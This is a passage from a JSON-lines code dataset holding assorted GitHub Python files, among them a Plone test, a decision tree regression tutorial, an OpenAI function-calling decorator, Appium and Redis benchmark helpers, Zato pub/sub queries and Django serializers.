main()","repo_name":"GissOsorio/proyecto-design-patterns","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11046,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19802629772","text":"# -*- coding: utf-8 -*-\n\nfrom plone import api\nfrom plone.api.exc import InvalidParameterError\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom ploneorg.releasesecurityinfo.interfaces import IRelease\nfrom ploneorg.releasesecurityinfo.testing import PLONEORG_RELEASESECURITYINFO_INTEGRATION_TESTING # NOQA: E501\nfrom zope.component import createObject\nfrom zope.component import queryUtility\n\nimport unittest\n\n\nclass PloneReleaseIntegrationTest(unittest.TestCase):\n\n layer = PLONEORG_RELEASESECURITYINFO_INTEGRATION_TESTING\n\n def setUp(self):\n \"\"\"Custom shared utility setup for tests.\"\"\"\n self.portal = self.layer['portal']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n self.installer = api.portal.get_tool('portal_quickinstaller')\n\n def test_schema(self):\n fti = queryUtility(IDexterityFTI, name='Release')\n schema = fti.lookupSchema()\n # self.assertEqual(IRelease, schema)\n self.assertEqual(schema, schema)\n\n def test_fti(self):\n fti = queryUtility(IDexterityFTI, name='Release')\n self.assertTrue(fti)\n\n def test_factory(self):\n fti = queryUtility(IDexterityFTI, name='Release')\n factory = fti.factory\n obj = createObject(factory)\n self.assertTrue(IRelease.providedBy(obj))\n\n def test_adding(self): # Not globally allowed\n self.portal = api.portal.get()\n # with self.assertRaises(ValueError,\n # message='Disallowed subobject type: Release'):\n with self.assertRaises(\n InvalidParameterError,\n message=\"Cannot add a 'Release' object to the container.\",\n ):\n api.content.create(\n container=self.portal,\n type='Release',\n title='Future',\n )\n","repo_name":"plone/ploneorg.releasesecurityinfo","sub_path":"src/ploneorg/releasesecurityinfo/tests/test_plonerelease.py","file_name":"test_plonerelease.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30492945317","text":"from random import randint\n\n\nfrom .coreFiles import open_txt\n\n\n# fonction qui choisit le mot qui sera à deviner\ndef choisir_mot(tailleMot: int) -> str:\n # prend en entrée un chiffre et ouvre un .txt ou tous les mots \n # français de cette longueur (ou de la langue désirée) sont sur une ligne\n dico = open_txt(\"l_\" + str(tailleMot)+\"_reponse\")\n longueur = len(dico)\n pos_mot = randint(1, longueur)\n mot = dico[pos_mot - 1][:-1]\n return mot\n","repo_name":"thibault-cne/wordle-and-solver","sub_path":"Website/backend/App/Core/choisir_mot.py","file_name":"choisir_mot.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32232783584","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nPart 2 : Decision Tree regression in following the course \"Machine learning A-Z\" at Udemy\n \n The dataset can be found here https://www.superdatascience.com/machine-learning/\n Subject : Compute the salary of a new employee in function of his level\n \n Why choose this model ? \n Pro : Interpretability \n No need for features scaling\n work on both linear / non-linear problem.\n \n Con : Poor result on too small datasets\n Overfitting can easily occur\n \nCreated on Sun Feb 25 00:24:24 2018\n@author: marinechap\n\"\"\"\n\n#Import libraries \n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.tree import DecisionTreeRegressor, export_graphviz\nfrom sklearn.externals.six import StringIO \n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport pydotplus\nfrom IPython.display import Image, display\n \n\"\"\"\n Preprocessing data\n\"\"\"\n\n#Parameters \nname_file = 'Position_Salaries.csv'\nnb_indep_var = 2\n\n#Import dataset\ndataset = pd.read_csv(name_file)\nindep_var = dataset.iloc[:,1:-1].values\ndep_var = dataset.iloc[:,nb_indep_var].values\n\n# Decision tree regression\n\nregressor = DecisionTreeRegressor(criterion = 'mse', random_state= 0)\nregressor.fit(indep_var, dep_var)\n\n# Print the decision tree\ndot_data = StringIO() \nexport_graphviz(regressor, out_file=dot_data, \n filled=True, rounded=True, \n special_characters=True) \n\ngraph = pydotplus.graph_from_dot_data(dot_data.getvalue()) \ndisplay(Image(graph.create_png()))\n\n\n# Predicting the result and visualizing the different regressions\n\nindep_test = np.arange(min(indep_var), max(indep_var), 0.1)\nindep_test = indep_test.reshape(len(indep_test), 1)\ndep_predict = regressor.predict(indep_test)\n\n\nplt.plot(indep_test, dep_predict, color = 'blue')\nplt.scatter(indep_var, dep_var , color = 'red')\nplt.scatter(6.5 , regressor.predict(6.5), color = 'orange')\n\nlegend1 = mpatches.Patch(color = 'red' , label = 'Dataset')\nlegend2 = mpatches.Patch(color = 'blue' , label = 'Decision tree regression')\nlegend3 = mpatches.Patch(color = 'orange', label = 'Prediction')\n\nplt.legend(handles = [legend1, legend2, legend3])\n\nplt.title ('Salary vs Position')\nplt.xlabel('Position')\nplt.ylabel('Salary')\nplt.show()\n\nprint('The adequat salary for the new employee (level = 6.5) is', regressor.predict(6.5)[0])","repo_name":"MarineChap/Machine_Learning","sub_path":"Regression/Section 8 - Decision Tree Regression/Decision_Tree_Regression.py","file_name":"Decision_Tree_Regression.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19005168577","text":"import sys, os\nfrom dataset.image_base import *\nfrom dataset.base import Base_Classes, Test_Funcs\n\ndefault_mode = args().image_loading_mode\n\ndef UP(base_class=default_mode):\n class UP(Base_Classes[base_class]):\n def __init__(self,train_flag = True, regress_smpl=False):\n super(UP,self).__init__(train_flag, regress_smpl)\n self.data_folder = os.path.join(self.data_folder,'UP/')\n self.data3d_dir = os.path.join(self.data_folder,'up-3d')\n self.joint_mapper = constants.joint_mapping(constants.LSP_14, constants.SMPL_ALL_54)\n #self.joint3d_mapper = constants.joint_mapping(constants.SMPL_ALL_54, constants.SMPL_ALL_54)\n\n self.scale_dir = os.path.join(self.data_folder,'p14_joints/scale_14_500_p14_joints.txt')\n self.flip_pairs = [[0, 5], [1, 4], [2, 3], [6, 11], [8, 9], [7, 10]]\n self.multi_mode = False\n\n self.high_qulity_idx = self.get_high_qulity_idx()\n if self.regress_smpl:\n self.smplr = SMPLR(use_gender=False)\n logging.info('UP dataset total {} samples'.format(len(self)))\n\n def get_high_qulity_idx(self):\n files = glob.glob(os.path.join(self.data3d_dir,'*_quality_info.txt'))\n high_qulity_idx = []\n for file in files:\n quality = self.read_txt(file)\n data_idx = os.path.basename(file).split('_')[0]\n dataset_info_dir = os.path.join(self.data3d_dir,'{}_dataset_info.txt'.format(data_idx))\n dataset_info = self.read_txt(dataset_info_dir)[0]\n if 'high\\n' in quality and dataset_info!='fashionpose':\n high_qulity_idx.append(data_idx)\n return high_qulity_idx\n\n def read_txt(self,file_path):\n #in 08514_fit_crop_info.txt ,there are 6 number:\n # width height width_crop_start width_crop_end height_crop_start height_crop_end\n f=open(file_path)\n lines = f.readlines()\n if len(lines)!=1:\n print('different crop_fit_info lines of {}:'.format(file_path), len(lines))\n info = lines[0].split(' ')\n return info\n\n def __len__(self):\n return len(self.high_qulity_idx)\n\n def get_image_info(self,index):\n index = self.high_qulity_idx[index%len(self.high_qulity_idx)]\n imgpath = os.path.join(self.data3d_dir,'{}_image.png'.format(index))\n image = cv2.imread(imgpath)[:,:,::-1]\n\n annot_3d_dir = os.path.join(self.data3d_dir,'{}_body.pkl'.format(index))\n annot_3d = self.read_pkl(annot_3d_dir)\n theta,beta,t = annot_3d['pose'][:66],annot_3d['betas'],annot_3d['t']\n params = np.array([np.concatenate([theta, beta])])\n\n annot_2d_kp_dir = os.path.join(self.data3d_dir,'{}_joints.npy'.format(index))\n kp2ds = self.map_kps(self.read_npy(annot_2d_kp_dir).T,maps=self.joint_mapper)[None]\n kp3ds = self.regress_kp3d_from_smpl(params)\n vmask_3d = np.array([[kp3ds is not None,True,True,False,False,False]])\n\n # vmask_2d | 0: kp2d/bbox | 1: track ids | 2: detect all people in image\n # vmask_3d | 0: kp3d | 2: smpl global orient | 3: smpl body pose | 4: smpl body shape | 5: smpl verts | 6: depth\n img_info = {'imgpath': imgpath, 'image': image, 'kp2ds': kp2ds, 'track_ids': np.arange(len(kp2ds)),\\\n 'vmask_2d': np.array([[True,False,False]]), 'vmask_3d': vmask_3d,\\\n 'kp3ds': kp3ds, 'params': params, 'root_trans': None, 'verts': None,\\\n 'img_size': image.shape[:2], 'ds': 'up'}\n \n return img_info\n return UP\n \nif __name__ == '__main__':\n dataset=UP(base_class=default_mode)()\n Test_Funcs[default_mode](dataset,with_smpl=True)\n print('Done')","repo_name":"Arthur151/ROMP","sub_path":"romp/lib/dataset/up.py","file_name":"up.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"47"} +{"seq_id":"675425121","text":"import inspect\nimport json\nimport os\nfrom typing import (\n Any,\n Callable,\n Dict,\n List,\n Optional,\n Union,\n get_args,\n get_origin,\n get_type_hints,\n)\n\nimport openai as openai\nfrom docstring_parser import parse\nfrom docstring_parser.common import Docstring\nfrom tenacity import retry, stop_after_attempt, wait_random_exponential\n\n# Set your OpenAI API key and the model\nopenai.api_key = os.environ.get(\"OPENAI_API_KEY\", None)\n\n\ndef get_parsed_docstring(func: Callable[..., Any]) -> Docstring:\n docstring = func.__doc__\n if not docstring:\n raise ValueError(f\"{func.__name__} has no docstring.\")\n parsed = parse(docstring)\n return parsed\n\n\ndef create_function_spec(func: Callable[..., Any]) -> Dict[str, Any]:\n signature = inspect.signature(func)\n parameters = signature.parameters\n\n parsed_docstring = get_parsed_docstring(func)\n\n properties = {}\n type_hints = get_type_hints(func)\n for param in parsed_docstring.params:\n python_type = type_hints.get(param.arg_name)\n if python_type is None:\n raise TypeError(f\"Missing type annotation for parameter: {param.arg_name}\")\n properties[param.arg_name] = {\n \"type\": get_json_property_type(python_type),\n \"description\": param.description,\n }\n\n required_params = [\n name\n for name, param in parameters.items()\n if param.default == inspect.Parameter.empty\n and not is_param_optional(type_hints.get(name))\n ]\n\n spec = {\n \"name\": func.__name__,\n \"description\": parsed_docstring.short_description,\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": properties,\n \"required\": required_params,\n },\n }\n return spec\n\n\ndef is_param_optional(python_type: Any) -> bool:\n origin = get_origin(python_type)\n # Checks if the type is Optional[T] or Union[T, None]\n return origin is Union and type(None) in get_args(python_type)\n\n\ndef get_json_property_type(python_type: Any) -> str:\n type_map = {\n str: \"string\",\n int: \"number\",\n float: \"number\",\n bool: \"boolean\",\n list: \"array\",\n dict: \"object\",\n set: \"array\",\n tuple: \"array\",\n }\n\n # If it's a base type, return the corresponding JSON Schema type\n if python_type in type_map:\n return type_map[python_type]\n elif python_type is Any:\n raise TypeError(\"Type annotation 'Any' is not supported\")\n else:\n # Get the base of the generic type (e.g., Optional, List)\n origin = get_origin(python_type)\n if origin in type_map:\n return type_map[origin]\n elif origin is Union and type(None) in get_args(\n python_type\n ): # Check if it's an Optional type\n # Optional type is represented as its first argument type\n return get_json_property_type(get_args(python_type)[0])\n else:\n print(f\"Unsupported type annotation: {python_type}, defaulting to 'object'\")\n return \"object\"\n\n\ndef openai_func(\n prompt: Union[str, Callable[[], str]],\n model: str = \"gpt-3.5-turbo-0613\",\n temperature: int = 0,\n function_call: str = None,\n):\n def decorator(func: Callable[..., Any]):\n \"\"\"A decorator to read the docstring of a function it wraps,\n create a JSON spec, and call OpenAI API.\"\"\"\n\n nonlocal prompt\n # Call the prompt if it is a callable\n if callable(prompt):\n prompt = prompt()\n\n # Call the chat_completion_request\n response = generate_parameters(\n prompt,\n func=func,\n model=model,\n temperature=temperature,\n function_call=function_call,\n )\n\n # TODO -- log message from openai\n\n func_name, arguments = get_arguments_from_response(response)\n if func_name is None or arguments is None:\n raise ValueError(\n f\"OpenAI didn't return a function and/or arguments to call: {response}\"\n )\n if func_name != func.__name__:\n raise ValueError(\n f\"Function name from the code {func_name} does not match the name returned by OpenAI {func.__name__}\"\n )\n if arguments is None:\n raise ValueError(f\"Failed to get arguments from the response.\")\n\n # Create the function that will replace the original decorated function\n def replacement_func():\n return func(**arguments)\n\n return replacement_func\n\n return decorator\n\n\ndef get_arguments_from_response(response: Dict[str, Any]) -> (str, Dict[str, Any]):\n if \"choices\" in response and response[\"choices\"]:\n function_call = (\n response[\"choices\"][0].get(\"message\", {}).get(\"function_call\", {})\n )\n func_name = function_call.get(\"name\")\n arguments_str = function_call.get(\"arguments\", {})\n arguments = json.loads(arguments_str)\n return func_name, arguments\n else:\n return None, None\n\n\ndef generate_parameters(\n prompt: str, func: Callable[..., Any], model, temperature, function_call=None\n) -> (List[Dict[str, str]], Dict[str, Any], Dict[str, Any], str, int):\n messages = [\n {\n \"role\": \"system\",\n \"content\": \"Don't make assumptions about what values to plug into functions. Ask for clarification if a user request is ambiguous.\",\n },\n {\"role\": \"user\", \"content\": prompt},\n ]\n functions = [create_function_spec(func)]\n function_call = {\"name\": func.__name__} if function_call is None else \"auto\"\n\n return run_openai_chatcompletion(\n messages, functions, function_call, model, temperature\n )\n\n\n@retry(wait=wait_random_exponential(min=1, max=40), stop=stop_after_attempt(3))\ndef run_openai_chatcompletion(messages, functions, function_call, model, temperature):\n if messages is None:\n raise ValueError(\"You must pass messages to generate_parameters\")\n if functions is None:\n raise ValueError(\n \"You must pass an array of function specs to generate_parameters\"\n )\n if function_call is None:\n raise ValueError(\"You must pass a function call to generate_parameters\")\n try:\n response = openai.ChatCompletion.create(\n model=model,\n messages=messages,\n functions=functions,\n function_call=function_call,\n temperature=temperature,\n )\n return response # Parse the JSON response\n except Exception as e:\n raise e\n\n\nif __name__ == \"__main__\":\n\n @openai_func(\"Create a greeting message for a new computer program.\")\n def hello_world(name: Optional[str] = \"world\"):\n \"\"\"\n A simple function that returns a greeting message.\n\n Args:\n name (str): The name to greet.\n\n Returns:\n str: A greeting message.\n \"\"\"\n return f\"Hello, {name}!\"\n\n print(hello_world())\n","repo_name":"shruti222patel/openai-decorator","sub_path":"src/openai_decorator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6990,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"9003544212","text":"from util.command import Command\nfrom util.port import Port\nfrom util.handle_driver_conf import HandleDriverConf\nfrom multiprocessing import Process\nimport platform\n\n\nclass Server:\n\n def __init__(self):\n self.cmd = Command()\n self.handle_driver = HandleDriverConf()\n self.device_list = self._get_devices()\n self._platform = platform.system().lower()\n\n def _get_devices(self):\n \"\"\"\n 获取设备信息\n \"\"\"\n devices_list = []\n result_list = self.cmd.get_cmd_result(Command.LIST_ADB_DEVICES)\n if len(result_list) >= 2:\n for i in result_list:\n if 'List' in i:\n continue\n devices_info = i.split('\\t')\n if devices_info[1].lower() == 'device':\n devices_list.append(devices_info[0])\n return devices_list\n else:\n raise Exception('设备未连接')\n\n def create_port_list(self, start_port):\n \"\"\"\n 创建可用端口\n \"\"\"\n # port_list = []\n port_list = Port().create_port_list(start_port, self.device_list)\n return port_list\n\n def create_command_ordinal(self, index):\n \"\"\"\n 按次序生成 Appium 服务启动命令\n \"\"\"\n appium_port_list = self.create_port_list(4700)\n bootstrap_port_list = self.create_port_list(4900)\n device_list = self.device_list\n port = str(appium_port_list[index])\n bp = str(bootstrap_port_list[index])\n device = device_list[index]\n command = f'{Command.START_APPIUM} -p {port} -bp {bp} -U {device} --no-reset --session-override'\n self.handle_driver.write_data(index, port, bp, device)\n return command\n\n def start_server_ordinal(self, index):\n command = self.create_command_ordinal(index)\n self.cmd.exec_cmd(command)\n while True:\n port = self.handle_driver.get_value(f'user_info_{str(index)}', 'port')\n if Port().port_is_used(port):\n break\n\n def stop_server(self):\n server_list = self.cmd.get_cmd_result(Command.LIST_RUNNING_SERVER)\n if len(server_list) > 0:\n if self._platform == 'windows':\n self.cmd.exec_cmd(Command.KILL_PROCESS)\n else:\n for pid in server_list:\n self.cmd.exec_cmd(f'{Command.KILL_PROCESS} {pid}')\n\n def start_appium(self):\n \"\"\"\n 功能:根据线程启动 Appium 服务\n \"\"\"\n self.stop_server()\n self.handle_driver.clear_data()\n\n for i in range(len(self.device_list)):\n appium_start = Process(\n target=self.start_server_ordinal, args=(i,))\n appium_start.start()\n","repo_name":"fy975713384/appium-unittest-demo","sub_path":"util/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31522580548","text":"#!/usr/bin/python3\n\nimport os\nimport time\nimport subprocess\nimport signal\nfrom multiprocessing import Process, Semaphore\n\nUID = 1000\n\n# TOTAL_CPU, CPULINE = 1, 1 #C1\n# TOTAL_CPU, CPULINE = 5, 4 #C2\n# TOTAL_CPU, CPULINE = 23, 16 #C3\nTOTAL_CPU, CPULINE = 39, 32 #C4\n\nLOOP = 1\n# THREAD = 2 #C1\n# THREAD = 4 #C2\n# THREAD = 8 #C3\nTHREAD = 16 #C4\nDURATION = 10\nCLIENTS = 64\nHOST = \"localhost\"\nPORT = 6379\ncmd = \"taskset -c %d-%d ./redis/memtier_/memtier_benchmark --hide-histogram -P redis -s %s -p %d \" \\\n \"-t %d -c %d --test-time=%d --ratio=0:10\" % (CPULINE, TOTAL_CPU, HOST, PORT, THREAD, CLIENTS, DURATION)\n# cmd = \"./redis/redis_/src/redis-benchmark -h %s -p %d -n %d -P 32 -q -c 50 -t set,get,lpush,lpop,sadd --csv\" % (HOST, PORT, REQUESTS_NUM)\n\ndef prepare():\n proc = subprocess.Popen(\"exec taskset -c %d-%d ./redis/redis_/src/redis-server ./redis/redis_/redis.conf\" % (0, CPULINE // 2 - 1), shell=True, stdout=subprocess.DEVNULL)\n # proc = subprocess.Popen(\"exec cgexec -g cpuset:openssl -g cpu:openssl ./redis/redis_/src/redis-server ./redis/redis_/redis.conf\", shell=True, stdout=subprocess.DEVNULL)\n time.sleep(1)\n f = subprocess.run([\"/usr/bin/ps\", \"-T\", \"-p\", str(proc.pid)], stdout=subprocess.PIPE)\n lines = f.stdout.decode(\"utf-8\").split(\"\\n\")\n i = 0\n for line in lines:\n if (\"redis-server\" in line) or (\"io_thd\" in line):\n pid = line.strip().split()[1]\n pid = int(pid)\n subprocess.run(\"taskset -pc %d %d\" % (i % (CPULINE // 2), pid), shell=True, stdout=subprocess.PIPE)\n i += 1\n return proc\n\ndef execute_redis_benmark():\n try:\n f = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n lines = f.stdout.decode(\"utf-8\").split(\"\\n\")\n return float(lines[-2].strip().split(\" \")[-1].strip())\n except Exception:\n return 0\n # for line in lines:\n # data = line.split(\",\")\n # if data[0] == '\"LPUSH\"':\n # return 1e6 / float(data[1][1:-1])\n\ndef finish(proc):\n os.kill(proc.pid, signal.SIGINT)\n time.sleep(1)\n\ns1 = Semaphore(0)\ns2 = Semaphore(0)\n\ndef task1():\n first = 1\n os.setgid(UID)\n os.setuid(UID)\n for i in range(LOOP):\n s1.acquire()\n if first == 0:\n finish(proc)\n proc = prepare()\n first = 0\n s2.release()\n s1.acquire()\n finish(proc)\n\ndef task2():\n # with open(\"/sys/fs/cgroup/cpuset/perf/tasks\", \"w\") as f:\n # f.write(str(os.getpid()))\n\n res = []\n total_cost = 0\n print(cmd)\n try:\n for i in range(LOOP):\n print(\"loop %d ...\" % i, end=\"\", flush=True)\n s1.release()\n s2.acquire()\n start = time.time()\n ret = execute_redis_benmark()\n total_cost += time.time() - start\n res.append(ret)\n print(round(ret, 3), \"kb/s\")\n\n s1.release()\n total = sum(res)\n avg = total / len(res)\n variance = 0\n for x in res:\n print(x)\n variance += (x - avg) * (x - avg)\n variance /= len(res)\n print(\"Variance:\", round(variance, 6))\n print(\"Average:\", round(avg, 3), \"kb/s\")\n print(\"Total cost\", total_cost, \"s\")\n\n except Exception as e:\n print(e)\n\ndef main():\n p1 = Process(target=task1)\n p2 = Process(target=task2)\n p1.start()\n p2.start()\n\nmain()\n","repo_name":"PKU-ASAL/NoDrop","sub_path":"benchmark/test_redis.py","file_name":"test_redis.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"27948689583","text":"from sqlalchemy import and_, exists, insert, update\nfrom sqlalchemy.sql import expression as expr\n\n# Zato\nfrom zato.common.odb.model import PubSubEndpointEnqueuedMessage, PubSubMessage, PubSubSubscription, WebSocketSubscription\nfrom zato.common.typing_ import cast_\nfrom zato.common.util.time_ import utcnow_as_ms\n\n# ################################################################################################################################\n# ################################################################################################################################\n\nif 0:\n from sqlalchemy import Column\n from sqlalchemy.orm.session import Session as SASession\n from zato.common.typing_ import any_, boolnone, intnone, strnone\n Column = Column\n\n# ################################################################################################################################\n# ################################################################################################################################\n\nMsgTable = PubSubMessage.__table__\n\n# ################################################################################################################################\n# ################################################################################################################################\n\ndef has_subscription(\n session, # type: SASession\n cluster_id, # type: int\n topic_id, # type: int\n endpoint_id # type: intnone\n) -> 'bool':\n \"\"\" Returns a boolean flag indicating whether input endpoint has subscription to a given topic.\n \"\"\"\n return session.query(exists().where(and_(\n PubSubSubscription.endpoint_id==endpoint_id,\n PubSubSubscription.topic_id==topic_id,\n PubSubSubscription.cluster_id==cluster_id,\n ))).\\\n scalar()\n\n# ################################################################################################################################\n\ndef add_wsx_subscription(\n session, # type: SASession\n cluster_id, # type: int\n is_internal, # type: boolnone\n sub_key, # type: str\n ext_client_id, # type: str\n ws_channel_id, # type: intnone\n sub_id # type: int\n) -> 'WebSocketSubscription':\n \"\"\" Adds an object representing a subscription of a WebSockets client.\n \"\"\"\n wsx_sub = WebSocketSubscription()\n wsx_sub.is_internal = is_internal or False\n wsx_sub.sub_key = sub_key\n wsx_sub.ext_client_id = ext_client_id\n wsx_sub.channel_id = ws_channel_id\n wsx_sub.cluster_id = cluster_id\n wsx_sub.subscription_id = sub_id\n session.add(wsx_sub)\n\n return wsx_sub\n\n# ################################################################################################################################\n\ndef add_subscription(\n session, # type: SASession\n cluster_id, # type: int\n sub_key, # type: str\n ctx # type: any_\n) -> 'PubSubSubscription':\n \"\"\" Adds an object representing a subscription regardless of the underlying protocol.\n \"\"\"\n # Common\n ps_sub = PubSubSubscription()\n\n ps_sub.cluster_id = ctx.cluster_id\n ps_sub.server_id = ctx.server_id\n ps_sub.topic_id = ctx.topic.id\n ps_sub.is_internal = ctx.is_internal\n ps_sub.is_staging_enabled = ctx.is_staging_enabled\n ps_sub.creation_time = ctx.creation_time\n ps_sub.sub_key = sub_key\n ps_sub.sub_pattern_matched = ctx.sub_pattern_matched\n ps_sub.has_gd = ctx.has_gd\n ps_sub.active_status = ctx.active_status\n ps_sub.endpoint_type = ctx.endpoint_type\n ps_sub.endpoint_id = ctx.endpoint_id\n ps_sub.delivery_method = ctx.delivery_method\n ps_sub.delivery_data_format = ctx.delivery_data_format\n ps_sub.delivery_batch_size = ctx.delivery_batch_size\n ps_sub.wrap_one_msg_in_list = ctx.wrap_one_msg_in_list if ctx.wrap_one_msg_in_list is not None else True\n ps_sub.delivery_max_retry = ctx.delivery_max_retry\n ps_sub.delivery_err_should_block = ctx.delivery_err_should_block if ctx.delivery_err_should_block is not None else True\n ps_sub.wait_sock_err = ctx.wait_sock_err\n ps_sub.wait_non_sock_err = ctx.wait_non_sock_err\n ps_sub.ext_client_id = ctx.ext_client_id\n\n # AMQP\n ps_sub.amqp_exchange = ctx.amqp_exchange\n ps_sub.amqp_routing_key = ctx.amqp_routing_key\n ps_sub.out_amqp_id = ctx.out_amqp_id\n\n # Local files\n ps_sub.files_directory_list = ctx.files_directory_list\n\n # FTP\n ps_sub.ftp_directory_list = ctx.ftp_directory_list\n\n # REST/SOAP\n ps_sub.security_id = ctx.security_id\n ps_sub.out_http_soap_id = ctx.out_http_soap_id\n ps_sub.out_http_method = ctx.out_http_method\n\n # Services\n ps_sub.service_id = ctx.service_id\n\n # SMS - Twilio\n ps_sub.sms_twilio_from = ctx.sms_twilio_from\n ps_sub.sms_twilio_to_list = ctx.sms_twilio_to_list\n ps_sub.smtp_is_html = ctx.smtp_is_html\n ps_sub.smtp_subject = ctx.smtp_subject\n ps_sub.smtp_from = ctx.smtp_from\n ps_sub.smtp_to_list = ctx.smtp_to_list\n ps_sub.smtp_body = ctx.smtp_body\n\n # WebSockets\n ps_sub.ws_channel_id = ctx.ws_channel_id\n\n session.add(ps_sub)\n\n return ps_sub\n\n# ################################################################################################################################\n\ndef move_messages_to_sub_queue(\n session, # type: SASession\n cluster_id, # type: int\n topic_id, # type: int\n endpoint_id, # type: intnone\n sub_pattern_matched, # type: strnone\n sub_key, # type: str\n pub_time_max # type: float\n) -> 'None':\n \"\"\" Move all unexpired messages from topic to a given subscriber's queue. This method must be called with a global lock\n held for topic because it carries out its job through a couple of non-atomic queries.\n \"\"\"\n enqueued_id_subquery = session.query(\n PubSubEndpointEnqueuedMessage.pub_msg_id\n ).\\\n filter(PubSubEndpointEnqueuedMessage.sub_key==sub_key)\n\n now = utcnow_as_ms()\n\n # SELECT statement used by the INSERT below finds all messages for that topic\n # that haven't expired yet.\n select_messages = session.query(\n PubSubMessage.pub_msg_id,\n PubSubMessage.topic_id,\n expr.bindparam('creation_time', now),\n expr.bindparam('endpoint_id', endpoint_id),\n expr.bindparam('sub_pattern_matched', sub_pattern_matched),\n expr.bindparam('sub_key', sub_key),\n expr.bindparam('is_in_staging', False),\n expr.bindparam('cluster_id', cluster_id),\n ).\\\n filter(PubSubMessage.topic_id==topic_id).\\\n filter(PubSubMessage.cluster_id==cluster_id).\\\n filter(~PubSubMessage.is_in_sub_queue).\\\n filter(cast_('Column', PubSubMessage.pub_msg_id).notin_(enqueued_id_subquery)).\\\n filter(PubSubMessage.expiration_time > pub_time_max) # type: ignore\n\n # All message IDs that are available in topic for that subscriber, if there are any at all.\n # In theory, it is not required to pull all the messages to build the list in Python, but this is a relatively\n # efficient operation because there won't be that many data returned yet it allows us to make sure\n # the INSERT and UPDATE below are issued only if truly needed.\n msg_ids = [elem.pub_msg_id for elem in select_messages.all()]\n\n if msg_ids:\n\n # INSERT references to topic's messages in the subscriber's queue.\n insert_messages = insert(PubSubEndpointEnqueuedMessage).\\\n from_select((\n PubSubEndpointEnqueuedMessage.pub_msg_id,\n PubSubEndpointEnqueuedMessage.topic_id,\n expr.column('creation_time'),\n expr.column('endpoint_id'),\n expr.column('sub_pattern_matched'),\n expr.column('sub_key'),\n expr.column('is_in_staging'),\n expr.column('cluster_id'),\n ), select_messages) # type: ignore\n\n # Move messages to subscriber's queue\n session.execute(insert_messages)\n\n # Indicate that all the messages are being delivered to the subscriber which means that no other\n # subscriber will ever receive them. Note that we are changing the status only for the messages pertaining\n # to the current subscriber without ever touching messages reiceved by any other one.\n\n session.execute(\n update(MsgTable).\\\n values({\n 'is_in_sub_queue': True,\n }).\\\n where(and_(\n MsgTable.c.pub_msg_id.in_(msg_ids),\n ~MsgTable.c.is_in_sub_queue\n ))\n )\n\n# ################################################################################################################################\n","repo_name":"zatosource/zato","sub_path":"code/zato-common/src/zato/common/odb/query/pubsub/subscribe.py","file_name":"subscribe.py","file_ext":"py","file_size_in_byte":8686,"program_lang":"python","lang":"en","doc_type":"code","stars":1047,"dataset":"github-code","pt":"47"} +{"seq_id":"4490563351","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('genre/', views.GenreListView.as_view()),\n path('genre/<int:genre_id>', views.GenreDetailView.as_view(), name='genre_detail'),\n path('', views.MovieListView.as_view(), name='list_movie'),\n path('movie/<int:movie_id>', views.MovieDetailView.as_view(), name='movie_detail'),\n]","repo_name":"TashmamatovAzat/online_cinema_django","sub_path":"cinema/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3157143865","text":"from rest_framework import serializers\nfrom django.contrib.auth import get_user_model\nfrom datetime import datetime\nfrom reviews.models import (Review, Comment, Genre, Category, Title)\n\nUser = get_user_model()\n\n\nclass UserSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор для эндпойнта /users/\"\"\"\n lookup_field = 'username'\n\n class Meta:\n model = User\n fields = ('username', 'email', 'first_name',\n 'last_name', 'bio', 'role')\n\n\nclass AuthSignupSerializer(serializers.Serializer):\n \"\"\"Сериализатор для эндпойнта /auth/signup/\"\"\"\n email = serializers.EmailField(\n max_length=254, allow_blank=False)\n username = serializers.CharField(\n max_length=150, allow_blank=False)\n\n def validate_username(self, value):\n if value == 'me':\n raise serializers.ValidationError(\n 'Использовать имя ''me'' в качестве username запрещено!')\n elif User.objects.filter(username=value).exists():\n raise serializers.ValidationError('Tакой username уже существует!')\n return value\n\n def validate_email(self, value):\n if User.objects.filter(email=value).exists():\n raise serializers.ValidationError('Неверно указан email!')\n return value\n\n\nclass AuthTokenSerializer(serializers.Serializer):\n \"\"\"Сериализатор для эндпойнта /auth/token/\"\"\"\n username = serializers.CharField(max_length=150, allow_blank=False)\n confirmation_code = serializers.CharField(max_length=99, allow_blank=False)\n\n\nclass GenreSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор для эндпойнта /genres/\"\"\"\n lookup_field = 'slug'\n\n class Meta:\n model = Genre\n fields = ('name', 'slug')\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор для эндпойнта /categories/\"\"\"\n lookup_field = 'slug'\n\n class 